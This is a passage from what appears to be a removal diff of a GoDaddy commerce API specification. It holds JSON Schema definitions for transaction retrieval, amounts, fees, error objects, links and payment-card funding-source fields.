- "enum": [ - "GENERAL_CONTAINER", - "REGULAR_STAY", - "QUICK_STAY", - "NON_LODGING_SALE", - "NON_LODGING_NRR" - ] - }, - "systemTraceAuditNumber": { - "type": "string", - "description": "This is a unique number per transaction session generated by the terminal.", - "minLength": 1, - "maxLength": 6 - }, - "voided": { - "type": "boolean" - } - } - }, - "references": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/transaction/transaction-reference.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Reference", - "type": "object", - "description": "Reference to a document (e.g. order or invoice) that this transaction is for", - "properties": { - "value": { - "type": "string", - "maxLength": 128 - }, - "type": { - "type": "string", - "maxLength": 32 - }, - "additionalLabel": { - "description": "(Optional) Label that the reference points to", - "type": "string", - "maxLength": 32 - } - }, - "required": [ - "value", - "type" - ] - }, - "description": "References to the transaction" - }, - "links": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target.", - "type": "string", - "format": "uri" - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data.", - "type": "string", - "format": "uri" - } - }, - "required": [ - "rel", - "href" - ] - }, - "description": "Links associated with this transaction" - } - }, - "required": [ - "type", - "amount", - "createdAt" - ] - }, - "type": "array" - } - } - } - }, - "default": { - "description": "Error", - "schema": { - "$id": "https://godaddy.com/schema/common/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Error", - "description": "The error information.", - "properties": { - "name": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "correlationId": { - "type": "string", - "description": "Internal identifier used for correlation purposes." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - }, - "informationLink": { - "type": "string", - "description": "The URI for detailed information related to this error for the developer." - }, - "details": { - "type": "array", - "description": "An array of additional details about the error. Required for client-side `4XX` errors.", - "additionalItems": false, - "items": { - "$id": "https://godaddy.com/schema/common/error-details.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error Details", - "type": "object", - "description": "The error details. Required for client-side `4XX` errors.", - "properties": { - "field": { - "type": "string", - "description": "The field that caused the error. If the field is in the body, set this value to the JSON pointer to that field. Required for client-side errors." - }, - "value": { - "type": "string", - "description": "The value of the field that caused the error." - }, - "location": { - "type": "string", - "description": "The location of the field that caused the error. Value is `body`, `path`, or `query`.", - "default": "body" - }, - "issue": { - "type": "string", - "description": "The unique fine-grained application-level error code." - }, - "description": { - "type": "string", - "description": "The human-readable description for an issue. The description MAY change over the lifetime of an API, so clients MUST NOT depend on this value." - } - }, - "required": [ - "issue" - ] - } - }, - "links": { - "type": "array", - "description": "An array of error-related HATEOAS links.", - "readOnly": true, - "items": { - "readOnly": true, - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target.", - "type": "string", - "format": "uri" - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data.", - "type": "string", - "format": "uri" - } - }, - "required": [ - "rel", - "href" - ] - } - } - }, - "required": [ - "name", - "correlationId", - "message" - ] - } - } - }, - "scopes": [ - "commerce.transaction:read", - "commerce.transaction:write" - ] - }, - { - "operationId": "getTransactionById", - "method": "GET", - "path": "/stores/{storeId}/transactions/{transactionId}", - "summary": "Get transaction by ID", - "description": "Retrieve all the information for a single transaction using the store and transaction IDs.", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/transaction/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "transactionId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/transaction/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom ID format that can take URN or an UUID", - "type": "string", - "example": "urn:trn:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})|(urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "Request Id", - "in": "header", - "required": false, - "schema": { - "type": "string", - "format": "uuid" - } - } - ], - "responses": { - "200": { - "description": "Transaction Found", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/transaction.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction", - "type": "object", - "description": "Transaction details", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/authorization.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Authorization Transaction", - "type": "object", - "x-generic-type": "Transaction", - "description": "Represents authorization transaction against a payment", - "properties": { - "captureBy": { - "type": "string", - "description": "Time by which the Authorization transaction should be captured (RFC 3339 format).", - "format": "date-time", - "readOnly": true, - "example": "2022-07-21T17:32:28Z" - }, - "updatedAt": { - "deprecated": true, - "type": "string", - "format": "date-time", - "description": "Updated time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/capture.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Capture Transaction", - "type": "object", - "x-generic-type": "Transaction", - "description": "Represents capture transaction against a payment", - "properties": { - "parentTransactionId": { - "$id": "https://godaddy.com/schemas/commerce/transaction/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom ID format that can take URN or an UUID", - "type": "string", - "example": "urn:trn:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})|(urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})", - "x-custom-type": true, - "x-custom-id": true - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/refund.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Refund Transaction", - "type": "object", - "x-generic-type": "Transaction", - "description": "Represents refund transaction against a payment", - "properties": { - "parentTransactionId": { - "$id": "https://godaddy.com/schemas/commerce/transaction/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom ID format that can take URN or an UUID", - "type": "string", - "example": "urn:trn:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})|(urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})", - "x-custom-type": true, - "x-custom-id": true - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/adjustment.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Adjustment Transaction", - "type": "object", - "x-generic-type": "Transaction", - "description": "Represents Adjustment transaction against a payment", - "properties": { - "newAmount": { - "description": "Adjusted transaction amount", - "$id": "https://godaddy.com/schemas/commerce/transaction/amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/simple-amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "description": "Simple amount used for processing transaction", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Transaction amount" - }, - "currency": { - "description": "Transaction currency", - "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } - }, - "required": [ - "amount", - "currency" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/detailed-amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "description": "Itemized amount details used for processing transaction", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/transaction/tip-amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "format": "int64", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/transaction/fee.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "description": "Fee associated with transaction", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/simple-fee.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Fee", - "type": "object", - "description": "Simple fee associated with transaction", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/governed-fee.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Governed Fee", - "description": "Governed fee associated with transaction", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "programType": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "type": { - "type": "string", - "example": "FIXED", - "description": "How the fee should be appliedbinary", - "enum": [ - "FIXED", - "HYBRID", - "PERCENTAGE" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true, - "x-propagation": { - "optional": true - }, - "x-field-extra-annotation": "@com.fasterxml.jackson.annotation.JsonIgnore" - } - }, - "required": [ - "amount", - "programType", - "type" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } - }, - "required": [ - "amountType" - ] - }, - "parentTransactionId": { - "$id": "https://godaddy.com/schemas/commerce/transaction/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom ID format that can take URN or an UUID", - "type": "string", - "example": "urn:trn:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})|(urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})", - "x-custom-type": true, - "x-custom-id": true - } - }, - "required": [ - "newAmount" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/sale.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Sale Transaction", - "type": "object", - "x-generic-type": "Transaction", - "description": "Represents sale transaction against a payment", - "properties": { - "updatedAt": { - "deprecated": true, - "type": "string", - "format": "date-time", - "description": "Updated time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - } - } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "AUTHORIZE": "./Authorization.yaml", - "CAPTURE": "./Capture.yaml", - "REFUND": "./Refund.yaml", - "ADJUSTMENT": "./Adjustment.yaml", - "SALE": "./Sale.yaml" - } - }, - "x-generic-type": "Transaction", - "properties": { - "type": { - "type": "string", - "description": "Discriminator field representing the type of Transaction" - }, - "transactionId": { - "$id": "https://godaddy.com/schemas/commerce/transaction/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom ID format that can take URN or an UUID", - "type": "string", - "example": "urn:trn:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})|(urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})", - "x-custom-type": true, - "x-custom-id": true - }, - "transactionRefNum": { - "$id": "https://godaddy.com/schemas/commerce/transaction/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - }, - "storeId": { - "$id": "https://godaddy.com/schemas/commerce/transaction/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - }, - "fundingSource": { - "description": "Funding source", - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Funding Source", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Payment Card", - "type": "object", - "description": "Payment card", - "properties": { - "cardDetail": { - "description": "Card detail", - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/card-detail.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Detail", - "type": "object", - "properties": { - "number": { - "type": "string", - "description": "Card number" - }, - "numberHashed": { - "type": "string", - "description": "Card number hashed", - "readOnly": true - }, - "type": { - "type": "string", - "enum": [ - "VISA", - "MASTERCARD", - "AMERICAN_EXPRESS", - "DISCOVER", - "INTERAC", - "BANCOMAT", - "MAESTRO", - "DINERS_CLUB", - "JCB", - "UNIONPAY", - "BANKAXEPT", - "OTHER" - ], - "description": "Type of the card" - }, - "source": { - "type": "string", - "description": "Source of the card", - "enum": [ - "DIRECT", - "PAZE", - "APPLE_PAY", - "GOOGLE_PAY" - ] - }, - "track1data": { - "type": "string", - "writeOnly": true, - "description": "In some use-cases (like airlines) Track1 is required. Track1 contains some extra information over Track2 (like cardholder's name)." - }, - "track2data": { - "type": "string", - "writeOnly": true, - "description": "Required for swiped transactions. Track2 read from the card contains PAN, expiration, etc." - }, - "track3data": { - "type": "string", - "writeOnly": true, - "description": "Track3 for future use. Carries track from custom funding sources." - }, - "firstName": { - "type": "string", - "description": "First name of card holder" - }, - "lastName": { - "type": "string", - "description": "Last name of card holder" - }, - "expMonth": { - "type": "integer", - "minimum": 1, - "maximum": 12 - }, - "expYear": { - "type": "integer", - "minimum": 2000, - "maximum": 9999 - }, - "sequenceNumber": { - "type": "string", - "writeOnly": true, - "description": "Sequence number to distinguish between 2 cards with same PAN." - }, - "serviceCode": { - "type": "string", - "writeOnly": true, - "description": "Track data read from card" - }, - "encrypted": { - "type": "boolean", - "default": true, - "description": "True if the card number is encrypted", - "writeOnly": true - }, - "keySerialNumber": { - "type": "string", - "writeOnly": true, - "description": "For DUKPT encryption" - }, - "entryDetails": { - "description": "Card entry details", - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/card-entry-detail.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Entry Detail", - "type": "object", - "properties": { - "iccFallback": { - "type": "boolean", - "description": "indicates whether there was a fallback to MSR from EMV", - "default": false, - "writeOnly": true - }, - "entryMethod": { - "type": "string", - "description": "Entry mode for the card", - "enum": [ - "KEYED", - "MSR", - "CL_MSR", - "ICC", - "CL_ICC" - ] - }, - "customerPresent": { - "type": "boolean", - "description": "Indicates whether customer was present during transaction", - "default": false - } - } - }, - "interacMacDetail": { - "writeOnly": true, - "description": "Card Interacmac details", - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/interacmac.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Interac Mac", - "type": "object", - "properties": { - "interacMac": { - "type": "string", - "description": "Interac mac details for canada based cards" - }, - "interacMacKSN": { - "type": "string", - "description": "Interac mac key serial number for canada based cards" - } - }, - "required": [ - "interacMac", - "interacMacKSN" - ] - }, - "emvTags": { - "writeOnly": true, - "description": "Card EMV tags", - "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 40, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "currency": { - "description": "Card's native currency code, when available.", - "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "legacyData": { - "deprecated": true, - "description": "Contains card details represented by legacy system", - "$id": "https://poynt.godaddy.com/schemas/funding-source/card-detail.v2", - "$schema": "https://json-schema.org/draft/2019-09/schema", - "type": "object", - "$defs": { - "LegacyCardAgreement": { - "type": "object", - "properties": { - "agreedOn": { - "type": "string", - "format": "date-time", - "description": "Timestamp for when this agreement was agreed." - }, - "businessId": { - "type": "string", - "description": "Business UUID that this card agreement belongs to." - }, - "cardId": { - "type": "string", - "description": "Card UUID that this card agreement belongs to." - }, - "createdAt": { - "type": "string", - "format": "date-time" - }, - "declinedOn": { - "type": "string", - "format": "date-time", - "description": "Timestamp for when this agreement was declined." - }, - "email": { - "type": "string", - "description": "The customer email that we will send the agreement to." - }, - "id": { - "type": "string", - "description": "UUID of the card agreement." - }, - "metadata": { - "description": "Card agreement metadata. Will hold the agreement template properties.", - "type": "object", - "properties": { - "businessContact": { - "type": "string", - "description": "Business contact or website.", - "maxLength": 1024 - }, - "businessName": { - "type": "string", - "description": "Business name.", - "maxLength": 128 - }, - "businessPhone": { - "type": "string", - "description": "Business phone.", - "maxLength": 16 - }, - "countryCode": { - "type": "string", - "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", - "maxLength": 2 - }, - "lang": { - "type": "string", - "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", - "maxLength": 2 - } - } - }, - "status": { - "type": "string", - "description": "[Required] The type of card agreement status.", - "enum": [ - "ACCEPTED", - "DELETED", - "INACTIVE" - ] - }, - "txnId": { - "type": "string", - "description": "Transaction UUID where this agreement is accepted." - }, - "updatedAt": { - "type": "string", - "format": "date-time" - }, - "version": { - "type": "integer", - "description": "The version of agreement." - } - }, - "description": "Object to keep track of card agreements for referenced transactions and recurring billing." - }, - "LegacyCardAgreementMetadata": { - "type": "object", - "properties": { - "businessContact": { - "type": "string", - "description": "Business contact or website.", - "maxLength": 1024 - }, - "businessName": { - "type": "string", - "description": "Business name.", - "maxLength": 128 - }, - "businessPhone": { - "type": "string", - "description": "Business phone.", - "maxLength": 16 - }, - "countryCode": { - "type": "string", - "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", - "maxLength": 2 - }, - "lang": { - "type": "string", - "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", - "maxLength": 2 - } - }, - "description": "Object to represent card agreement metadata. Will hold the agreement template properties, language, country code etc." - }, - "LegacyCardBrand": { - "type": "object", - "properties": { - "brand": { - "type": "string" - }, - "createdAt": { - "type": "string", - "format": "date-time" - }, - "displayName": { - "type": "string", - "minLength": 3, - "maxLength": 50 - }, - "id": { - "type": "string" - }, - "issuerBank": { - "type": "string", - "maxLength": 150 - }, - "logoUrl": { - "type": "string" - }, - "scheme": { - "type": "string" - } - }, - "description": "This object represents CardBrand." - }, - "LegacyCardKeyData": { - "type": "object", - "properties": { - "id": { - "description": "The key identifier.", - "type": "string", - "enum": [ - "WCK", - "WAEK", - "WMACK" - ] - }, - "version": { - "type": "string", - "description": "Version of the key.", - "maxLength": 4 - } - } - }, - "LegacyCardType": { - "type": "string", - "enum": [ - "AMERICAN_EXPRESS", - "EBT", - "BANCOMAT", - "DISCOVER", - "MAESTRO", - "GOPAY", - "DINERS_CLUB", - "JCB", - "ALIPAY", - "MASTERCARD", - "DANKORT", - "OTHER", - "PAYPAL", - "INTERAC", - "UNIONPAY", - "VISA", - "BANKAXEPT" - ] - }, - "LegacyCardKey": { - "type": "string", - "enum": [ - "WCK", - "WAEK", - "WMACK" - ] - } - }, - "properties": { - "cardAgreement": { - "type": "object", - "properties": { - "agreedOn": { - "type": "string", - "format": "date-time", - "description": "Timestamp for when this agreement was agreed." - }, - "businessId": { - "type": "string", - "description": "Business UUID that this card agreement belongs to." - }, - "cardId": { - "type": "string", - "description": "Card UUID that this card agreement belongs to." - }, - "createdAt": { - "type": "string", - "format": "date-time" - }, - "declinedOn": { - "type": "string", - "format": "date-time", - "description": "Timestamp for when this agreement was declined." - }, - "email": { - "type": "string", - "description": "The customer email that we will send the agreement to." - }, - "id": { - "type": "string", - "description": "UUID of the card agreement." - }, - "metadata": { - "description": "Card agreement metadata. Will hold the agreement template properties.", - "type": "object", - "properties": { - "businessContact": { - "type": "string", - "description": "Business contact or website.", - "maxLength": 1024 - }, - "businessName": { - "type": "string", - "description": "Business name.", - "maxLength": 128 - }, - "businessPhone": { - "type": "string", - "description": "Business phone.", - "maxLength": 16 - }, - "countryCode": { - "type": "string", - "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", - "maxLength": 2 - }, - "lang": { - "type": "string", - "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", - "maxLength": 2 - } - } - }, - "status": { - "type": "string", - "description": "[Required] The type of card agreement status.", - "enum": [ - "ACCEPTED", - "DELETED", - "INACTIVE" - ] - }, - "txnId": { - "type": "string", - "description": "Transaction UUID where this agreement is accepted." - }, - "updatedAt": { - "type": "string", - "format": "date-time" - }, - "version": { - "type": "integer", - "description": "The version of agreement." - } - }, - "description": "Object to keep track of card agreements for referenced transactions and recurring billing." - }, - "status": { - "type": "string", - "description": "Status of the card.", - "enum": [ - "ACTIVE", - "REMOVED" - ] - }, - "cardBrand": { - "type": "object", - "properties": { - "brand": { - "type": "string" - }, - "createdAt": { - "type": "string", - "format": "date-time" - }, - "displayName": { - "type": "string", - "minLength": 3, - "maxLength": 50 - }, - "id": { - "type": "string" - }, - "issuerBank": { - "type": "string", - "maxLength": 150 - }, - "logoUrl": { - "type": "string" - }, - "scheme": { - "type": "string" - } - }, - "description": "This object represents CardBrand." - }, - "cardHolderFullName": { - "type": "string", - "description": "Card holder's full name usually picked from track1.", - "maxLength": 256 - }, - "cardId": { - "type": "string", - "description": "The uuid of the card created" - }, - "encrypted": { - "type": "boolean", - "description": "True if track, PAN, expiration are encrypted." - }, - "encryptedExpirationDate": { - "type": "string", - "description": "If encryption is true, a single encrypted expiration date (containing year, month and possibly date) is provided here." - }, - "expirationDate": { - "type": "integer", - "description": "The date from expiration. Date is typically only present in EMV cards." - }, - "id": { - "type": "integer", - "description": "The id of the card created." - }, - "issuer": { - "type": "string" - }, - "key": { - "description": "List of keys and their versions being used. If encrypted is true, only one of key and keySerialNumber can be populated (not both).", - "type": "array", - "items": { - "type": "object", - "properties": { - "id": { - "description": "The key identifier.", - "type": "string", - "enum": [ - "WCK", - "WAEK", - "WMACK" - ] - }, - "version": { - "type": "string", - "description": "Version of the key.", - "maxLength": 4 - } - } - } - }, - "numberFirst6": { - "type": "string", - "description": "This is a response field. The first6 numbers of the PAN." - }, - "numberHashed": { - "type": "string" - }, - "numberLast4": { - "type": "string", - "description": "This is a response field. The last4 numbers of the PAN." - }, - "type": { - "description": "The network card belongs to: DISCOVER, VISA, MASTERCARD, AMEX, etc.", - "type": "string", - "enum": [ - "AMERICAN_EXPRESS", - "EBT", - "BANCOMAT", - "DISCOVER", - "MAESTRO", - "GOPAY", - "DINERS_CLUB", - "JCB", - "ALIPAY", - "MASTERCARD", - "DANKORT", - "OTHER", - "PAYPAL", - "INTERAC", - "UNIONPAY", - "VISA", - "BANKAXEPT" - ] - } - } - } - }, - "required": [ - "type", - "number", - "source" - ] - }, - "cardVerificationData": { - "writeOnly": true, - "description": "Verification data that can be used to verify the customer information", - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/verification.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Verification Data", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/card-verification.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Verification Data", - "description": "Verification data for the card used as funding source", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schema/common/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Postal Address (Medium-Grained)", - "properties": { - "addressLine1": { - "type": "string", - "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", - "maxLength": 300 - }, - "addressLine2": { - "type": "string", - "description": "The second line of the address. For example, office suite or apartment number.", - "maxLength": 300 - }, - "addressLine3": { - "type": "string", - "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", - "maxLength": 100 - }, - "adminArea4": { - "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", - "type": "string", - "maxLength": 100 - }, - "adminArea3": { - "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", - "type": "string", - "maxLength": 100 - }, - "adminArea2": { - "description": "A city, town, or village. Smaller than 